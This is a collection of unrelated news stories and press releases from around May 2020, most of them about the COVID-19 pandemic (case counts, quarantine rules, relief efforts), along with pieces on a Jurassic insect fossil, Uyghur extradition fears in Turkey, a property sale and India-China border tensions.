Our collective industry experience of over 100 years has helped us to offer appropriate market information and our global reach and regional connects ensures appropriate insights into regional markets to guarantee apt delivery of information.

Our regional market intelligence helps our clients to identify potential opportunities and develop growth strategies across regions and countries. Our services are geared towards offering best market research to our clients.

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SOURCE Acumen Research and Consulting
An education work group formed by the state to work on recommendations and policies related to reopening schools and continuing learning will hold more than a dozen forums over the next three weeks to gain input from school employees and families.

Called strategy sessions, the 13 virtual forums will create space for critical perspectives to be heard and to inform policy discussions, Virginia Secretary of Education Atif Qarni said in a letter released Wednesday. In a Facebook post later that same day, Qarni wrote that the sessions will be limited in attendance to maximize the groups ability to dive deep.

Each session is organized by an outside organization. Qarni said in his post that interested attendees should reach out to the organizer to request to join or email him at atif.qarni@governor.virginia.gov.

The Virginia Education Association has published a form to be considered for its sessions, which make up a majority of the forums: bit.ly/veasessions. Eligibility for their sessions is limited to VEA members, the form said.

The states COVID-19 Education Work Group was formed last month to come up with a framework to determine how schools can safely reopen. Its 37 members represent early childhood, K-12, secondary and private education; special education advocates; state agencies; various education organizations, nonprofits and museums; advisory boards; and one high school student.

Gov. Ralph Northam ordered Virginias schools closed for two weeks on March 13 in response to the coronavirus pandemic. He extended the closure for the remainder of the school year on March 23.

Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.
The country has recorded the biggest single-day spike of 6,088 COVID-19 cases, while the death toll due to the virus has climbed to 3,583, the Union health ministry said on Friday.

IMAGE: Artists paint Covid-19 warriors on a shuttered shop in a closed commercial hub, as the country relaxed its lockdown restriction in Delhi. Photograph: Yawar Nazir/Getty Images

The number of coronavirus cases now stands at 1,18,447 in the country.

There has been an increase of 148 deaths and 6,088 cases since Thursday 8 am, according to the health ministry.

The number of active COVID-19 cases stood at 66,330, while 48,533 people have recovered and one patient has migrated, it said. "Thus, around 40.97 per cent patients have recovered so far," a senior health ministry official said.

IMAGE: A barber in protective gear attends to a customer at his shop after some ease in COVID-19 lockdown restrictions, in Surat. Photograph: PTI Photo

Of the 148 deaths reported since Thursday morning, 64 were in Maharashtra, 24 in Gujarat, 18 from Delhi, 11 from Uttar Pradesh, seven from Tamil Nadu, six from West Bengal, five from Telangana, four from Rajasthan, three from Madhya Pradesh, two from Jammu and Kashmir and one each from Bihar, Odisha, Haryana and Punjab.

The death toll reached 45 in Telangana, 41 in Karnataka and 39 in Punjab.

Jammu and Kashmir has reported 20 fatalities due to the disease, Haryana has 15 deaths while Bihar has registered 11 and Odisha seven deaths.Kerala and Assam have reported four deaths each so far.

Jharkhand, Chandigarh and Himachal Pradesh each have recorded three COVID-19 fatalities each, while Meghalaya and Uttarakhand have reported one fatality each, according to the ministry data.

More than 70 per cent of the deaths are due to comorbidities, the ministry said.

IMAGE: A Central Industrial Security Force jawan, wearing gloves and holding a gun, keeps vigil at Bhendi Bazaar, during ongoing COVID-19 lockdown, in Mumbai. Photograph: Kunal Patil/PTI Photo

The highest number of confirmed cases in the country are from Maharashtra at 41,642 followed by Tamil Nadu at 13,967, Gujarat at 12,905, Delhi at 11,659 Rajasthan at 6,227, Madhya Pradesh at 5,981 and Uttar Pradesh at 5,515, according to the health ministry data updated in the morning.

The number of COVID-19 cases has gone up to 3,197 in West Bengal, 2,647 in Andhra Pradesh and 2,028 in Punjab.

It has risen to 1,982 in Bihar, 1,699 in Telangana, 1,605 in Karnataka,1,449 in Jammu and Kashmir and 1,10 in Odisha.

Haryana has reported 1,031 coronavirus infection cases so far while Kerala has 690 cases. A total of 290 people have been infected with the virus in Jharkhand and 217 in Chandigarh.

IMAGE: Needy persons stand in marked circles as they wait to collect ration from a relief camp, amid ongoing COVID-19 lockdown, in Ajmer. Photograph: PTI Photo

Assam has reported 203 cases, Tripura has 173, Himachal Pradesh has 152, Uttarakhand has 146, Chhattisgarh has 128, and Goa has registered 52 cases so far.

Ladakh has reported 44 COVID-19 cases, while Andaman and Nicobar Islands has registered 33 infections.

Manipur has 25 cases, Puducherry has registered 20 cases and Meghalaya has 14 cases. Mizoram, Arunachal Pradesh and Dadar and Nagar Haveli have reported a case each till how.

IMAGE: A customer being sanitised while purchasing glasses at a shop at Bhootnath Market after the instruction of District Administration to open only single shops during the ongoing lockdown in Lucknow. Photograph: ANI Photo

"1,620 cases are being reassigned to states," the ministry said on its website, adding, "Our figures are being reconciled with the ICMR."

State-wise distribution is subject to further verification and reconciliation, it said.
The average number of daily new cases worldwide over the past week was more than 91,000, higher than ever, even as the average weekly number of fatalities has been decreasing. All told, more than 329,000 people have died.

The case count has been fueled in part by the still-growing number of infections in the United States, which has the largest number in the world, and far-reaching outbreaks in large countries like Russia and Brazil. Countries in South America, including Chile, Colombia and Peru, are reporting increases in cases, and some nations around the world are seeing their tallies of confirmed infections double every week or two.

Even with the increases, the total numbers of infections and deaths, representing cases in at least 177 countries, are virtually certain to be undercounts because of flawed screenings, political denial and asymptomatic patients who can spread the virus.

Still, there is reason for guarded optimism in some regions. Conditions appear to be improving, or at least stabilizing, in parts of Western Europe and the United States, and some governments were cautiously easing lockdown restrictions.

Denmark, for instance, has taken steps toward normalcy and reported decreasing numbers of new cases. Some of the most devastated countries in Europe, including France, Italy and the United Kingdom, have also reported improving figures.
PHILIPSBURG:--- Motorworlds Honoring Our Frontline Heroes campaign generated an outpouring of love and support for countless employees who sacrifice their lives and time to work on the frontlines during the battle against the COVID-19 pandemic.

The impact of the COVID-19 pandemic caught us all by surprise. During a time of uncertainty and socio-economic unrest throughout our community, we felt it was necessary to launch this initiative to create a lasting positive impact, shares Tariq Amjad, Managing Director, Motorworld Group of Companies. The great community support showcased the goodwill and humanity that we share for each other. Though tributes were provided to a select few, and four amazing individuals were chosen as the winners of the social media campaign, we would like to express our heartfelt gratitude to EVERYONE who works on the frontlines in various capacities. It is through working together and uplifting each other, that we shall overcome together.

Many of the frontline heroes that were featured go above and beyond the call of duty. Therefore, Motorworld Group was honored to highlight the tireless efforts of those individuals by sharing positive and uplifting stories as a special tribute about their courage, sacrifices and contributions.

Over the four weeks of the Honoring Our Frontline Heroes campaign, the following individuals were nominated with heartwarming tributes:

- Marvienne Adoptie

- Alvin Arrundell

- Cheryyann Arrindell

- Abigail Athanase

- Franck Bannis

- Marsha Bremer

- Sonia Campbell

- Jessica Cannegieter

- John Caputo

- Ramon Chin-Ten-Koei

- Alden Conner

- Shamire Connor

- Yoainna Delain

- Alexdiana Dormoy

- Davinia Samuel Gabriel

- Tyrell Gabriel

- Geraldine Gaspard Brooks

- Anthony Godet

- Iris Hakkens

- Sandra Hassell

- Meandra Hazel

- Lloyd Heinze

- Jean Illidge

- Jocelyn Joseph

- Gladice Labady

- Eddy Lake

- Arcella Leonard

- Cherly Leonard

- Vanessa Martina

- Reangelo Martiena

- Elroy Morris

- Otis Pantophlet

- Windellee Patterson

- Christine Peiser

- Zamora Perez

- Ryan Peterson

- Rosiana Prosper

- Bernice Richardson

- Shanna de Riggs

- Davina Samuel

- Terry Sergeant

- Marina Serrant

- Sylma Serrant

- Sheldon Simpson

- Chalmarie Vlaun

- Donna Wint

- Sharina Woodley

Motorworld Group takes this opportunity to recognize, thank and congratulate all of these frontline workers, and many others who have gone above and beyond to serve our communities. We truly appreciate ALL courageous frontline workers for everything that you do to ensure that our community is kept safe in our plight against the COVID-19 pandemic. Every single person that has been nominated during these four weeks are ALL deserving, shares Amjad.

Further, we are honored to congratulate the following individuals who were selected by the community as the proud winners of Motorworlds "Frontline Heroes" awards:

Meandra Hazel

Sheldon Simpson

Terry Sergeant

Ryan Peterson

Through this special campaign to recognize and honor local heroes who are diligently working on the frontlines every day, the winners have all been presented with the following prizes, as a token of appreciation from Motorworld:

- $250 Voucher for Motorworld/ Caribbean Auto/ Audi ,

- $250 Voucher for a Grocery Shopping Spree ,

- $250 towards their GEBE Utility Bill.



We would like to express our heartfelt thanks to the community for sharing their tributes and stories with us and for giving us the opportunity to shine light on these wonderful individuals, and in essence, ALL frontliners who are selflessly putting themselves at risk for the greater good, shares Jacqueline Louis, Marketing Management Consultant, Motorworld Group of Companies. As we cannot thank everyone enough, once again, we extend a heartfelt THANK YOU! You are all appreciated for your essential services to the community of St. Maarten/ St. Martin in the battle against COVID-19. Working together we all win! shares Louis.

As the island begins to drive forward into the future, let us remain vigilant and continue to do our part. Continue to practice good hygiene habits, maintain social distancing and wear a mask, following the proper guidelines.
The fossil of Morrisonnepa Jurassica along with a modern giant water bug, Lethocerus.

How many more insects will rise to fame in 2020?

Fortunately, unlike "murder hornets" and gypsy moths, the insect recently found in Utah isn't a threat to anyone anymore. Paleontologists in the state discovered a 151-million-year-old fossil of a giant bug called Morrisonnepa Jurassica, the Utah Department of Natural Resources wrote in a blog post.

Researchers found the fossil in the geologically rich Morrison Formation in southeastern Utah, the DNR's blog post said.

"The insect fossil consists of most of the abdomen, two elements of the forewing, and possibly the head and is only the second insect body fossil ever discovered from the Morrison Formation,' the DNR wrote.

Asian giant hornets spotted in the US: What are 'Murder Hornets' and should I be worried?

According to the Utah DNR, the insect was first discovered in 2017 and appears to be related to "giant water bugs," which are known for their extremely painful bites.

"The new fossil insect appears to be a relatively large predator whose modern relatives are known to attack and eat not just other invertebrates like snails and crustaceans but also vertebrate prey such as fish, amphibians, and snakes," the department wrote in its post.

The fossil was found in the same Rocky Mountain region that has produced dinosaurs like apatosaurus, allosaurus and stegosaurus, according to the Utah DNR. The area has also "yielded an abundance of plant fossils."

We always dreamed of finding actual insect fossils in the Morrison, but until the first report in 2011 there had been nothing, Utah Field House of Natural History State Park Museum paleontologist John Foster told the department.

That report gave us hope, but still, when this specimen appeared under a microscope, mixed in with a bulk batch of unidentified plant fossil material, it was shocking to realize that we were looking at an insect abdomen and wing  and big ones.

The fossil is in the paleontology collections at the Utah Field House of Natural History State Park Museum.

This article originally appeared on USA TODAY: Morrisonnepa Jurassica: 151-million-year-old bug fossil found in Utah
Extradition Treaty That Could Deport Uyghurs From Turkey to China Faces Uncertainty in Ankara

2020-05-21 -- An extradition treaty that could be used to forcibly deport Uyghurs from Turkey to China where they are at risk of persecution faces an uncertain fate in parliament, according to Turkish opposition lawmakers, while cases that highlight Beijing's influence over Ankara have raised fears among Uyghur exiles.

Many of the more than 50,000 Uyghurs who live in Turkey fled there to escape persecution in China's Xinjiang Uyghur Autonomous Region (XUAR), where authorities are believed to have held up to 1.8 million members of their ethnic group and other Muslim minorities in a vast network of internment camps since April 2017.

Uyghurs traditionally view Turkey as a refuge and advocate for their rights, but a 2017 extradition treaty signed between Beijing and Ankarathough not ratifiedwas submitted by Turkish President Recep Tayyip Erdogan for consideration a year ago to the Grand National Assembly (TBMM). Observers fear it specifically targets Uyghurs in the majority Muslim nation for forced repatriation to China.

The agreementa copy of which was obtained by research group Nordic Monitor, which promotes awareness of extremist trends"contains ambiguous phrases that might trigger the extradition of scores of Uyghurs from Turkey and violate extradition mechanisms regulated by the European Convention on Extradition (ECE), to which Turkey is a party," the group said in an article on Tuesday.

In particular, Nordic Monitor highlighted Article 2 (2) of the deal, which says that "it shall not matter whether the laws of both Parties place the offence within the same category or describe the offence by the same terminology," which the group said would allow either country to request the extradition of its citizens regardless of whether an offense is considered illegal according to the other country's laws.

The Turkish government had long refused to extradite or deport Uyghurs back to China, but that changed in June last yeartwo months after the treaty was submitted to parliamentwhen Turkey sent several home via Tajikistan, including a woman named Zinnetgul Tursun along with her two toddler daughters.

A month later, Tursun's sisterwho lives in exile in Saudi Arabialearned from her mother in the XUAR that her sibling had "disappeared" and that the family had no information about what had happened to her, before warning her to end further communication.

In February 2019, Turkey's Foreign Ministry issued a rare statement of criticism against China by a majority Muslim nation, demanding that authorities close the internment camps in the XUAR. During a trip to China in July last year, however, Erdogan pledged security cooperation with Beijing and said that residents of the XUAR live happy and prosperous lives under Beijing's rule, according to Chinese state television.

The threat of forced repatriation facing Uyghurs in Turkey was further underscored in an article published on Wednesday by Axios, an online newsletter, which revealed the Chinese government's secret request to the Turkish government in 2016 for the extradition of a Uyghur man named Enver Turdi who had passed information about rights abuses in the XUAR to RFA and Uyghur exile groups.

According to Axios, Beijing asked Turkish authorities to discover Turdi's whereabouts, seize or freeze his assets, arrest him, and "repatriate him to China." The Turkish Ministry of Justice initiated court proceedings against him for failure to renew his residency permit, which he had been unable to do because the Chinese Embassy refused to issue him a new passport.

In 2017, Turdi was detained for 12 months in a deportation facility, accused of running a pro-Islamic State websitewhich he deniedand had his case sent to a criminal court, instead of one handling matters of immigration. His case is still pending.

'No chance' for agenda

RFA's Uyghur Service spoke with members of parliament (MP) from Turkey's minority Nationalist Movement Party (MHP), which holds 49 seats in the 600-seat TBMM, and IYI Party, which holds 37 seats in the legislature. All said the draft extradition treaty is unlikely to come up for a vote any time soon, in part because of the support most Turks feel for Uyghurs.

Olcay Kilavuz, an MP with the MPH, told RFA "there's no [current] agenda" at the TBMM for voting on the draft extradition treaty with China.

"But I'll say, asking about this is a disgrace in and of itself," he said.

"Of course, we will safeguard the safety, happiness, freedom, and existence of our ethnic brethren [the Uyghurs]. Thus, our party and our leader have been demonstrating sensitivity [toward this issue]."

Furthermore, Kilavuz said, his party is actively working in support of the Uyghurs and to hold China to account for its rights violations in the XUAR.

"We are doing all that we can to support our ethnic brethren in opposition to the deaths, murders, and verbal abuse [they are experiencing], the restrictions on their language, culture, and everyday life, and the hindrances to their religious faith."

Fahrettin Yokusm, an MP with the IYI Party, said his fellow lawmakers "will come out swiftly against this," but added that Erdogan's ruling Justice and Development Party (AKP) "won't even be able to put this on the agenda."

"Should they, it will lead to difficulties in the [TBMM]," he told RFA.

"Our party will be the fastest to oppose. We will do everything we can to ensure it doesn't pass. But I wouldn't say there's a chance of it even getting on the agenda."

Yokusm praised the U.S. Senate for last week passing the Uyghur Human Rights Policy Act of 2020 that would sanction Chinese government officials responsible for arbitrary incarceration, forced labor and other abuses in the XUAR and requires regular monitoring of the situation there by U.S. government bodies, once signed into law by President Donald Trump.

"Although it's possible that [the bill] is receiving support as a way of the U.S. putting pressure on China for [its handling of the] coronavirus, we see it positively insofar as it means that the East Turkistan issue is on the agenda, and especially that our ethnic brethren in camps might be released," he said, using the name preferred by Uyghurs for their homeland.

"We also support it from herethe camps must close, and people should be reunited with their families."

'Backward legal framework'

Nury Turkel, a Washington-based Uyghur attorney, told RFA that Turkey's recent deportation of Uyghurs at China's request was wrong and said further actions could hurt its bid to join the European Union because they are in violation of extradition rules under the ECE.

"Currently, the worldwide trend is to refuse to return Uyghur refugees to China," he said.

"For a country that has been negotiating entry to the European Union, a country that is a member of NATO, a country that has achieved some standing in economic, cultural, and diplomatic relations on the world stage, to accept such a backward legal framework, one that people are actively opposing, into its own domestic system is an affront to the Turkish legal system, in my opinion."

Reported by Jilil Kashgary. Translated by Elise Anderson. Written in English by Joshua Lipes.

Copyright  1998-2020, RFA. Used with the permission of Radio Free Asia, 2025 M St. NW, Suite 300, Washington DC 20036. For any commercial use of RFA content please send an email to: mahajanr@rfa.org. RFA content May not be used in a manner which would give the appearance of any endorsement of any product or support of any issue or political position. Please read the full text of our Terms of Use.

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DUBLIN, May 22, 2020 /PRNewswire/ -- The "Europe Hand Sanitizer Market Outlook, 2025" report has been added to ResearchAndMarkets.com's offering.

This report gives a comprehensive analysis of the hand sanitizer market of the European region.



With the outbreak of pandemics around the world such as H1N1 Swine Flu, Influenza, Bird Flu, and the most recent one COVID-19, people around the world have been affected by it losing their lives. Moreover, to overcome it's spreading, global organizations such as the World Health Organization (WHO) have released measures to control it using hand hygiene maintenance. Hence, frequent washing of hands and hand sanitizing are necessary to overcome the disease spread.



Europe is one of the prime regions of the world with a world-class medical facility. Moreover, countries such as Italy and France are the top countries having classic medical facilities in world comparison. People of Europe are also hygiene conscious and spend a part of their income to buy hygiene products such as hand sanitizers. Hence, markets in Europe are very necessary for brands to sustain themselves in the global market.



The hand sanitizer market of Europe is expected to grow in succeeding years accounting for a market value of US $ 2.32 billion at the end of the year 2025. Thus, the market seems to achieve a considerable height in the next few years.



The primary economies of the European continent are Germany, France, Italy, Spain, and the United Kingdom. Hence, the markets of these countries play an important role in the overall market formation. The major products demanded in the European market are the gel, liquid and foam hand sanitizers. Apart from these, spray hand sanitizers and other products such as hand sanitizing wipes are at a growing pace in the European market.



The leading market players of the Europe hand sanitizer market are Reckitt Benckiser, Procter & Gamble, GOJO Industries, Caldrea, Cleenol, EO products and many other domestic and international companies.



Key Topics Covered



1. Executive Summary



2. Demographics & Healthcare Spending



3. Global Hand Sanitizer Market outlook

3.1. Market Size By Value (Alcohol, Non-Alcohol)

3.2. Market Share

3.2.1. By Company

3.2.2. By Region

3.2.3. By Country

3.2.4. By Product Type

3.2.5. By Sales Channel

3.3. Global Gel Hand Sanitizer Market Outlook

3.4. Global Liquid Hand Sanitizer Market Outlook

3.5. Global Foam Hand Sanitizer Market Outlook

3.6. Global Spray Hand Sanitizer Market Outlook



4. Europe Hand Sanitizer Market outlook

4.1. Market Size By Value

4.2. Market Share

4.2.1. By Country

4.2.2. By Product

4.3. Germany Hand Sanitizer Market Outlook

4.4. United Kingdom Hand Sanitizer Market Outlook

4.5. France Hand Sanitizer Market Outlook

4.6. Italy Hand Sanitizer Market Outlook

4.7. Spain Hand Sanitizer Market Outlook

4.8. Rest of Europe Hand Sanitizer Market Outlook



5. Raw Materials and Manufacturing Process



6. Global Hand Sanitizer Market Dynamics

6.1. Key Drivers

6.2. Key Challenges



7. Market Trends and Developments

7.1. Increasing Trends of Using Natural Derivatives in Hand Sanitizers

7.2. Growth in Global e-Commerce Sales

7.3. Increasing Trends of Cosmetic Hand Sanitizers

7.4. Growth of Demand for Touchless Hand Sanitizer Dispensers

7.5. Increase in Demand due to International Pandemic COVID-19



8. Competitive Landscape

8.1. Company Profiles

8.1.1. 3M Company

8.1.2. Best Sanitizers, Inc.

8.1.3. Caldrea, Inc.

8.1.4. Chattem, Inc.

8.1.5. Cleanwell LLC

8.1.6. Cleenol Group Limited

8.1.7. Elyptol, Inc.

8.1.8. EO Products

8.1.9. GOJO Industries, Inc.

8.1.10. Henkel AG & Company, KGaA

8.1.11. Hello Bello

8.1.12. Jao Brands

8.1.13. Kutol Products Company, Inc.

8.1.14. Procter & Gamble

8.1.15. Reckitt Benckiser Group PLC

8.1.16. The Clorox Company

8.1.17. The Honest Company

8.1.18. The Himalaya Drug Company

8.1.19. Unilever

8.1.20. Vi-Jon Laboratories



For more information about this report visit https://www.researchandmarkets.com/r/5s25x

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.



Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]



For E.S.T Office Hours Call +1-917-300-0470

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SOURCE Research and Markets

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Texas restaurants, US Islamic organisations prepare thousands of meals for refugee, homeless and other communities.

Nameer Salmans restaurant had about a dozen large groups already booked for iftars before the coronavirus lockdowns and closures hit.

The Palestinian-American co-owner of Jasmine Cafe in Richardson, Texas, did everything in his power to keep his workers  who are like our family, he said  employed throughout the lockdown in the US state, even allowing his employees to take home needed food items to help their families out.

But with the business largely closed for the beginning of the holy month of Ramadan, and at reduced capacity for the remainder as the state reopened, Salman knew the month would be hard.

Usually Ramadan is the best month for us during the whole year, Salman said, adding that the cafe usually serves 400 to 500 people a day during the holy month.

Its [usually] really, really busy, he told Al Jazeera over the phone.

When it became clear the large iftars could not be held at the cafe, a patron  and Salmans best friend, who had booked an iftar for more than 100 people  approached Salman with a question: Could the cafe still make the food and donate it to families in need instead?

Salman did not quite know how initially, but he knew the idea could work.

Nameer Salman owns Jasmine Cafe with his brother, Loai [Courtesy of Nameer Salman]

With the help of a couple of trusted community members, local mosques, and eventually the Islamic Circle of North America (ICNA) nonprofit organisation, Salman circulated a flyer telling individuals in need how to contact the restaurant for free meals.

What got my attention, he said, was the number of people who called saying they were in need of a meal  even before Ramadan began.

Restaurants like Salmans and food trucks across the United States have started initiatives to donate food this Ramadan, practising the act of charity, but also helping keep their own workers afloat. In New York City, several Islamic organisations and businesses teamed up to feed the homeless during the month. Muslim restaurant owners in Connecticut have reportedly been delivering meals and masks to a local hospital.

Other Muslim communities, including in the Dallas area, which includes Richardson, have purchased meals from local restaurants to donate to help both the financially hurt businesses and those in need.

Need way bigger than usual

Texas has more than 53,000 confirmed cases of coronavirus and at least 1,460 deaths, according to a Johns Hopkins University tally. While the state was one of the first to partially reopen, its April jobless rate was 12.8 percent  the worst monthly rate on record. More than two million of the states estimated 29 million people have applied for unemployment since mid-March.

A lot of these people lost their jobs, Salman said, referring to those who called him for a meal. And they were at home with [their] children.

Every meal included four appetizers, a main dish  meat and chicken with rice and a vegetable  soup, bread and three desserts [Courtesy of Nameer Salman]

Salman said their local initiative raised more than $40,000, which went to providing more than 5,800 meals. Every meal included four appetizers, a main dish  meat and chicken with rice and a vegetable  soup, bread and three desserts.

We wanted those families to feel the same way we do [when we break fast], Salman said.

He said they did not just serve Muslims, but anyone in the community who needs help. Some were given tickets to come through a drive-thru to pick up the meals, while other meals were delivered by Salman and his staff.

Some were given tickets to come through a drive-thru to pick up the meals, while other meals were delivered by Salman and his staff [Courtesy of Nameer Salman]

To reach more community members, Salman connected with ICNA, which has offices across the US.

Hala Halabi, director of ICNA USAs refugee programme, helped Salman hand out tickets for free meals to those in need.

ICNA, which has food banks and other support services across the country, does annual Ramadan drives to distribute food and supply boxes, but by the time the holy month came around this year, Halabi said they had already used up most of their resources due to the spiking need caused by the coronavirus pandemic.

Halabi said she, her colleagues and ICNA volunteers sought out new donors and were able to round up enough money and supplies to continue their Ramadan box drive. They were also able to be a part of several hot-food initiatives, including Salmans, during this years Ramadan.

The need is way bigger than usual. Every year refugees are dependent on us [during Ramadan], Halabi told Al Jazeera.

But this year with the COVID, people literally dont have food, she said.

ICNA serves refugees, the homeless and immigrant communities throughout the Dallas-Fort Worth area [Courtesy of Hala Halabi]

ICNA serves refugees, the homeless and immigrant communities throughout the Dallas-Fort Worth area. This includes Syrian, Iraqi, Afghan, and Rohingya communities  and many others.

Halabi said she worries especially for refugee communities during the pandemic.

They need the support, she said.

As for Salman, he is looking forward to his business returning  the cafes shisha lounge was allowed to reopen on Friday and Texas restaurants can now operate at 50-percent capacity  but he also hopes to continue the free meal initiative in some way after Ramadan ends this weekend.

Its a totally different feeling this year, Salman said. When you can help that many people, its amazing.
Domestic flyers arriving in Kerala must undergo strict home quarantine as per the lockdown guidelines, in view of increasing COVID-19 cases in the state, Health Minister K K Shailaja said on Friday.

"Even if the domestic flight services resume, those coming in must remain under strict home quarantine as per the guidelines. There is no change in that. Most people will be coming from the major hotspots of the country," she said.

Announcing the resumption of domestic flight services from May 25, the Civil Aviation Ministry indicated on Thursday that it was not in favour of quarantining passengers on short-haul flights.

However, the Assam government has made it mandatory for all air passengers coming to that state to stay in quarantine for 14 days.

Apart from the health department and the local self government institutions, Shailaja said the people of Kerala must also ensure that every returnee to the state remained under strict home quarantine in order to curb the spread of the disease.

"We need to strictly keep under observation all those who come from outside the state and make sure that they do not come into contact with others including their family members.

"They should be effectively remain under room quarantine at their residence," she said.

The state reported 690 cases after 24 more tested positive for coronavirus on Thursday.

As of now over 80,000 people are under observation across the state.

On the death of a 73-year-old woman, who came from Mumbai, on Thursday, the minister said, "Khadijakutty came from Mumbai along with three others. She alighted at Chavakkad. Her son who picked her up from there took her to the govt hospital as she was tired. She was given good care."

"However, as her condition worsened, had taken a decision to sent her to the medical college. Her swab test was taken and she was tested positive, but she passed away," Shailaja said.

The minister sounded a word of caution that there would be an increase in cases in the coming days as the influx of people coming from abroad and other states would continue.

"We cannot prevent anyone from coming. They are our brothers and were suffering there. We need to save those who come here and also those who are here," the Minister said.

Shailaja said the southern state had successfully managed the first two phases of the viral outbreak in January and March.

"There were three deaths. But we managed to save the rest of the people including a 93-year-old man," she said.

The Minister further said the situation in the state changed after flight services resumed and the border roads were re-opened after May 7.

"Our fatality rate is low and recovery rate is high. After May 7, when the flight restrictions were lifted and people from other states started coming in, we reported 188 cases.

"At least 90 per cent of the positive cases came from outside and the rest are their contacts," she noted.
Jesse T. McFadden, 70, (pictured) from Michigan, allegedly called Arenac County Central Dispatch on May 17, threatening to shoot staff members

A man allegedly plotted to steal a helicopter before threatening to target a local hospital while armed with a shotgun in a bizarre plan to free coronavirus patients.

Jesse T. McFadden, 70, from Omer, Michigan, allegedly called Arenac County Central Dispatch at 7:58 am on May 17, threatening to shoot staff members.

Police allege the 70-year-old then drove to the Coast Guard station in Bay City in a black Ford pick-up truck, armed with a machine gun, with the intention of stealing a helicopter.

This would then 'further his plan to attack a police station and shoot up a local hospital,' according to the affidavit.

McFadden also said he would go to a Standish hospital to shoot out the power and demand keys to ambulances, Hampton Township Police Lt. Michael Wedding said.

Arenac County Central Dispatch passed on the information to police, who were warned McFadden could have a machine gun on his possession.

McFadden arrived at the Coast Guard station at 2405 Weadock Highway in Essexville at around 10:37 am.

He allegedly tried to gain access to the station by using the gate keypad.

After several unsuccessful attempts at punching in the access code, he called the station communications centre and demanded access, the court document alleged.

He threatened to ram the gate with his vehicle, according to Wedding.

Police say this black Ford Explorer was driven by Jesse T. McFadden, who threatened to ram the gate so he could enter the facility to steal a helicopter

The firearm was recovered from the back of his vehicle

He told the dispatcher that he 'wanted to disrupt the power to the hospital, unlock the doors, and release patients under COVID-19 quarantine.'

He was denied access and McFadden eventually drove away from the station. At 11:17 am a Michigan State Police trooper spotted McFadden's vehicle at the Speedway gas station at 1504 Center Ave. in Hampton Township, with its driver's side door open and the engine running.

Wedding found a .12-gauge Mossberg shotgun in the vehicle's passenger seat loaded with five shells. 'He could have literally grabbed it with one hand, pulled it up, and come out shooting,' he said. 'We were very fortunate he happened to walk into that store for two minutes.'

McFadden was tasered, arrested and taken into custody

According to the affidavit, McFadden is a convicted felon who was found guilty of fleeing and eluding fourth degree in June 2011.

McFadden is facing three counts of assaulting, resisting, or obstructing police and one count of transporting a loaded firearm in a motor vehicle.

He appeared before Bay County District Court for arraignment on Monday.
Metro Manila (CNN Philippines, May 22)  There has been an influx on reports of human rights abuses among overseas Filipino workers since the pandemic broke, an advocate for OFWs said.

Susan Ople, president and founder of the Blas Ople Policy Center, revealed that their organization has received a surge of requests for OFW welfare assistance amid the coronavirus health crisis.

Ople center has received a surge of requests for welfare assistance. Hindi po dahil may COVID, walang nabubugbog, walang nagagahasa, walang pinag sasamantalahan, she said.

[Translation: Ople center has received a surge of requests for welfare assistance. COVID doesnt stop abuses from happening like rape and other physical abuses.]

Ople told lawmakers on Friday that their non-profit organization has received around 117 referrals for search and rescue, and repatriation services in April alone.

The center assists distressed OFWs, and was named after the late Senate President and Foreign Secretary Blas Ople.

The daughter of the late senator said that it is possible that foreign employers may have been channeling their stress and anxiety brought about by the pandemic, towards their Filipino employees.

Kung busy ang OWWA at ang DFA sa COVID, baka pwedeng POEA can have a facility that can be the repository of all these urgent human trafficking and extreme abuse cases, Ople suggested to the solons.

[Translation: If the OWWA and the DFA are busy with COVID, maybe POEA can have a facility that can be the repository of all these urgent human trafficking and extreme abuse cases.]

At the moment, over 9,100 OFWs are billeted in hotels and undergoing self-quarantine.

Delays have also been reported in terms of the issuance of quarantine clearances to the OFWs. Some of them have been staying in their hotels and dormitories for two months and counting.

READ: Govt agencies urged to fix delays in issuance of quarantine clearances for OFWs

According to the Overseas Workers Welfare Association (OWWA), only the food and lodging expenses of these OFWs are being shouldered by the agency.

There is no other form of financial assistance for now for the Filipino workers, aside from the DOLE-AKAP program from the Labor department.

However, the House Committee on Overseas Workers Affairs has increased the proposed budget for the financial aid to be given to OFWs from 3 billion to 5 billion.
New Delhi, May 22 : Speaking in the opposition meeting attended by 22 parties, Congress leader Rahul Gandhi on Friday said that the COVID-19 lockdown has not yielded results.

"We had two motives of the lockdown - to contain the disease and curb its spread but the infection is increasing," Rahul Gandhi said adding "Today the infection is increasing but we are lifting the lockdown this means the lockdown which was implemented without thought is not giving correct results." "Lockdown has created huge loss to crores of people " he said.

But the government is not helping them neither putting Rs 7,500 cash into their accounts, if they are not provided with rations, if migrants and MSME workers are not helped it will be catastrophe.

"We do not accept the package, people do not want loan but assistance, our responsibility is to raise our voice this is for the country not parties. If nothing is done crores of people will be pushed into poverty," he said.

Earlier Sonia Gandhi in her remarks launched a scathing attack and said that the spirit of federalism has been forgotten.

"The government has also abandoned any pretence of being a democratic government. All power is now concentrated in one office, the PMO. The spirit of federalism which is an integral part of our Constitution is all but forgotten. There is no indication either if the two Houses of Parliament or the Standing Committees will be summoned to meet."
A Northcote development site briefly held by former Melbourne footballer Clinton Bartram has fetched more than $3.3 million  well short of the $4.1 million he paid for it in September 2019.

Clint Bartram's development site in Simpson Street, Northcote.

Lambert Capital, the financiers behind Mr Bartrams aspiring property empire, put the 783-square metre site on the market in March.

An auction scheduled for April was pulled because of COVID-19 restrictions.

Gray Johnson agent Matt Hoath, who marketed the site with Rory White, said an established apartment builder from the eastern suburbs had picked up the site.
At least five rounds of talks between Indian and Chinese troops this week have failed to de-escalate tension in Pangong Tso lake and Galwan Valley in Ladakh as the two sides maintained aggressive posturing in the disputed border areas, government sources said on Friday.

The Indian Army has been matching up to the Chinese build-up in both Pangong Tso lake and Galwan Valley, the two locations in Ladakh which have witnessed major reinforcement of troops in the last two weeks, sources said.

There was very little chance of easing of tension anytime soon as both sides are aggressively holding onto their respective positions, they said.

It is learnt that diplomatic channels are also working overtime to bring down the tension between the two armies which was triggered by China's objection to laying of a road by India in Galwan Valley.

The two sides have significantly bolstered their presence along the un-demarcated border in Eastern Ladakh after they were engaged in a violent face-off on May 5 which was followed by a similar incident in North Sikkim on May 9. Local commanders of the two armies will continue talks till a resolution is found, the sources said.

